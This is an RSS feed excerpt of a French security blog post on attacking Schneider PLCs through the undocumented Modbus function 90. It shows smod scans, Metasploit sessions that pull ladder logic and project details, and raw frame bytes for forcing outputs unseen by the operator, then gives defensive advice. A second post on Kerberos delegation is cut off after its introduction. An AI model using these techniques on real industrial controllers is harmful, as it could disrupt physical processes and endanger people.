					<description><![CDATA[<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&#38;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels. Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g Revenons...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">
<figure id="post-15816 media-15816" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15816 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&amp;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.</p>
</div>
<div style="text-align: justify;">Vous pouvez retrouver notre intervention en vidéo : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></div>
<div style="text-align: justify;">Revenons sur ces travaux et la manière dont ils peuvent être exploités.</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>Le protocole Modbus</h2>
</div>
<div style="text-align: justify;">Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.</div>
<div style="text-align: justify;">Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0</pre>
</div>
<div style="text-align: center;"><i>Lecture de données Modbus avec le programme « mbtget »</i></div>
<p>&nbsp;</p>
<div style="text-align: justify;">D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :</div>
<div style="text-align: justify;">
<figure id="post-15818 media-15818" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15818 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png" alt="" width="640" height="442" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-245x170.png 245w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)</i></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~/smod# python smod.py 
&lt; SMOD &gt;
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD &gt; use modbus/scanner/getfunc
SMOD modbus(getfunc) &gt; show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) &gt; set RHOSTS 192.168.0.110
SMOD modbus(getfunc) &gt; set UID 1
SMOD modbus(getfunc) &gt; exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.</pre>
</div>
<p>&nbsp;</p>
<p>On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :</p>
<div style="text-align: justify;">
<p class="separator" style="clear: both; text-align: center;">
<figure id="post-15820 media-15820" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15820 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg" alt="" width="375" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-348x191.jpg 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-71x39.jpg 71w" sizes="auto, (max-width: 375px) 100vw, 375px" /></figure>
</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>La fonction Modbus 0x5a</h2>
</div>
<div style="text-align: justify;">
<h3>Historique</h3>
</div>
<div style="text-align: justify;">L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : <a href="http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/">http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/</a></div>
<div style="text-align: justify;">Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : <a href="https://youtu.be/dtadMIN3CCc?t=35m29">https://youtu.be/dtadMIN3CCc?t=35m29</a>s</div>
<div style="text-align: justify;">Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15822 media-15822" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15822 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Capture réseau des échanges entre le logiciel de programmation et un automate Schneider</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Récupération du programme automate</h3>
</div>
<div style="text-align: justify;">La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.</div>
<div style="text-align: justify;">
<ul>
<li>Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)</li>
<li>Récupérons le programme de l’automate</li>
</ul>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION DOWNLOAD
ACTION =&gt; DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) &gt;</pre>
</div>
<ul>
<li>Insérons le fichier « .apx » dans l’archive</li>
</ul>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~# file demo_archive.sta 
demo_archive.sta: Zip archive data, at least v1.0 to extract
root@kali:~# unzip demo_archive.sta
Archive:  demo_archive.sta
   creating: BinAppli/
  inflating: BinAppli/Station.apd    
  inflating: BinAppli/Station.apx    
  inflating: STATION.CTX             
 extracting: TA.xma                  
   creating: ThirdParty/
root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx 
BinAppli/Station.apx
root@kali:~/unity# ls
BinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty
root@kali:~/unity# rm BinAppli/Station.apd
root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX  TA.xma  ThirdParty/
  adding: BinAppli/ (stored 0%)
  adding: BinAppli/Station.apx (deflated 61%)
  adding: BinAppli/Station.apd (deflated 19%)
  adding: STATION.CTX (deflated 58%)
  adding: TA.xma (stored 0%)
  adding: ThirdParty/ (stored 0%)
root@kali:~/unity#</pre>
</div>
<ul>
<li>Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :</li>
</ul>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15824 media-15824" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15824 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png" alt="" width="640" height="393" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-311x191.png 311w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-1-64x39.png 64w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Affichage du code « ladder » dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : <a href="https://www.youtube.com/watch?v=xRbulEX3_3o">https://www.youtube.com/watch?v=xRbulEX3_3o</a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<p id="post-15826 media-15826" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15826 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png" alt="" width="640" height="113" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-437x77.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/6-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.</div>
<div style="text-align: justify;">
<h4>Récupération des informations du programme</h4>
</div>
<div style="text-align: justify;">L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.</div>
<p class="separator" style="clear: both; text-align: center;">
<div style="text-align: center;">
<figure id="post-15828 media-15828" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15828 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png" alt="" width="640" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/7-69x39.png 69w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Capture réseau entre Unity Pro et un automate Schneider M340</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf &gt; use auxiliary/admin/scada/modicon_stux_transfer_ASO 
msf auxiliary(modicon_stux_transfer_ASO) &gt; show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   DOWNLOAD      Download the ladder logic from the PLC
   GATHER_INFOS  Get informations about the PLC configuration
   UPLOAD        Upload a ladder logic file to the PLC


msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION GATHER_INFOS 
ACTION =&gt; GATHER_INFOS
msf auxiliary(modicon_stux_transfer_ASO) &gt; show options

Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO):

   Name      Current Setting                     Required  Description
   ----      ---------------                     --------  -----------
   FILENAME  [...]/modicon_ladder.apx            yes       The file to send or receive
   RHOST                                         yes       The target address
   RPORT     502                                 yes       The target port


Auxiliary action:

   Name          Description
   ----          -----------
   GATHER_INFOS  Get informations about the PLC configuration


msf auxiliary(modicon_stux_transfer_ASO) &gt; set RHOST 192.168.0.110
RHOST =&gt; 192.168.0.110
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] Sending initialization requests ...
[+] PLC model : BMX P34 2030
[+] Project name : Test - Project ABC 123 Yolo
[+] Project comments : this is where the comments are put. YOLO @@@ !!!
[+] Unity Pro software version : V5.0
[*] Auxiliary module execution completed</pre>
</div>
<div style="text-align: justify;">
<p style="text-align: center;"><i>Récupération d’information via le module Metasploit</i></p>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15830 media-15830" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15830 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png" alt="" width="525" height="408" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8.png 525w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-246x191.png 246w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/8-155x120.png 155w" sizes="auto, (max-width: 525px) 100vw, 525px" /></figure>
</div>
<div style="text-align: center;"><i>Informations sur le projet dans Unity pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<h3>Forçage de valeurs</h3>
</div>
<div style="text-align: justify;">Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.</div>
<div style="text-align: justify;">Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15832 media-15832" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15832 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png" alt="" width="640" height="418" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-292x191.png 292w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/9-60x39.png 60w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Forçage de valeurs à 1 dans Unity Pro</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie <b>%Q0.17</b> à 1, et forcer la sortie <b>%Q0.18</b> à 0 :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02</pre>
</div>
<div style="text-align: justify;">Un octet permet de déterminer la sortie à forcer :</div>
<div style="text-align: justify;">
<ul>
<li>0x11 pour la sortie %Q0.17</li>
<li>0x12 pour la sortie %Q0.18</li>
</ul>
</div>
<p>La valeur de forçage est déterminée par le dernier octet :</p>
<ul>
<li>0x03 pour 0</li>
<li>0x02 pour 1</li>
<li>0x04 pour annuler le forçage</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : <a href="https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc">https://www.youtube.com/watch?time_continue=2&amp;v=D1p2ni0eGhc</a></span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"> </span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Le module Metasploit n&rsquo;étant pas totalement finalisé, il n&rsquo;a pas fait l&rsquo;objet d&rsquo;une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : <a href="https://github.com/wavestone-cdt/ics-tools">https://github.com/wavestone-cdt/ics-tools</a>.</span></div>
<p>&nbsp;</p>
<h2 style="text-align: justify;"><span style="font-family: inherit;">Conclusion et sécurisation</span></h2>
<div style="text-align: justify;"><span style="font-family: inherit;">Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Qu’en est-il ailleurs ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : <a href="http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/">http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/</a>.</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3><span style="font-family: inherit;">Que faire ?</span></h3>
</div>
<div style="text-align: justify;"><span style="font-family: inherit;">La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;">Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l&rsquo;insertion, dans la logique de l&rsquo;automate, quelques fonctions visant à assurer la détection d&rsquo;une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l&rsquo;opérateur lorsque des valeurs sont forcées, mais cette capacité n&rsquo;est, à notre connaissance, pas proposée par les automates étudiés.</span></div>
<div style="text-align: justify;"><span style="font-family: inherit;"><br />
</span></p>
<div style="text-align: right;"><b>Arnaud SOULLIE</b></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Compromission d’un domaine Windows à l’aide des délégations Kerberos</title>
		<link>https://www.riskinsight-wavestone.com/2017/04/compromission-domaine-windows-delegation-kerberos/</link>
		
		<dc:creator><![CDATA[Nicolas Daubresse]]></dc:creator>
		<pubDate>Wed, 19 Apr 2017 17:18:23 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Active directory]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[authentification]]></category>
		<category><![CDATA[kerberos]]></category>
		<category><![CDATA[pentest]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15795</guid>

					<description><![CDATA[<p>Quelques rappels sur le protocole d’authentification Kerberos Kerberos est un protocole d’authentification réseau reposant sur un mécanisme de clés secrètes (chiffrement symétrique) et l’utilisation de tickets. Il fait partie intégrante des système d’exploitation Windows depuis la version Serveur 2000. Différents...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2017/04/compromission-domaine-windows-delegation-kerberos/">Compromission d’un domaine Windows à l’aide des délégations Kerberos</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Quelques rappels sur le protocole d’authentification Kerberos</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Kerberos est un protocole d’authentification réseau reposant sur un mécanisme de clés secrètes (chiffrement symétrique) et l’utilisation de tickets. Il fait partie intégrante des système d’exploitation Windows depuis la version Serveur 2000. Différents termes spécifiques sont utilisés pour détailler ce protocole :</p>
<ul style="font-weight: 400;">
<li>KDC (<em>Key Distribution Center</em>) : Le KDC est un service installé sur les contrôleurs de domaine et permettant l’obtention des différents tickets par un utilisateur.</li>
<li>TGT (<em>Ticket-Granting Ticket</em>) : Le TGT est un ticket attribué par le KDC à un utilisateur. Ce ticket représente l’identité de l’utilisateur, et lui permet d’effectuer des demandes de TGS auprès du KDC.</li>
<li>TGS (<em>Ticket-Granting Service</em>) : Le TGS est également un ticket attribué par le KDC pour représenter un utilisateur. Il permet à l’utilisateur de s’authentifier auprès d’un service spécifique, dont le nom est inscrit dans le ticket. Un exemple d’un tel ticket est le suivant :</li>
</ul>
<figure id="post-15796 media-15796" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15796 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.png" alt="" width="454" height="83" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.png 454w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x80.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x13.png 71w" sizes="auto, (max-width: 454px) 100vw, 454px" /></figure>
<p>Le schéma d’une authentification Kerberos classique est le suivant :</p>
<figure id="post-15798 media-15798" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15798 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2.png" alt="" width="514" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2.png 514w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-312x191.png 312w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-64x39.png 64w" sizes="auto, (max-width: 514px) 100vw, 514px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans la première étape, l’utilisateur envoi au contrôleur de domaine un <em>timestamp</em> chiffré à l’aide du hash NTLM de son mot de passe. Ayant accès à ce hash, le contrôleur de domaine, et plus précisément le KDC, peut déchiffrer l’information reçue et vérifier le <em>timestamp</em>, ce qui prouve l’identité de l’utilisateur. Le KDC fournit alors à l’utilisateur son TGT (étape 2).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisateur peut alors fournir le TGT préalablement récupéré pour effectuer une demande de TGS (étape 3). Le TGT étant représentatif de l’utilisateur, le KDC peut valider son identité et lui fournir un TGS pour le service demandé (étape 4).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Enfin, l’utilisateur transmet ce TGS comme preuve de son identité auprès du service (étape 5).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans le protocole Kerberos, ce sont donc bien les tickets qui permettent d’assurer l’identité d’un utilisateur, au même titre qu’un couple nom d’utilisateur / mot de passe le fait dans une authentification classique.</p>
<h2>Introduction aux délégations Kerberos</h2>
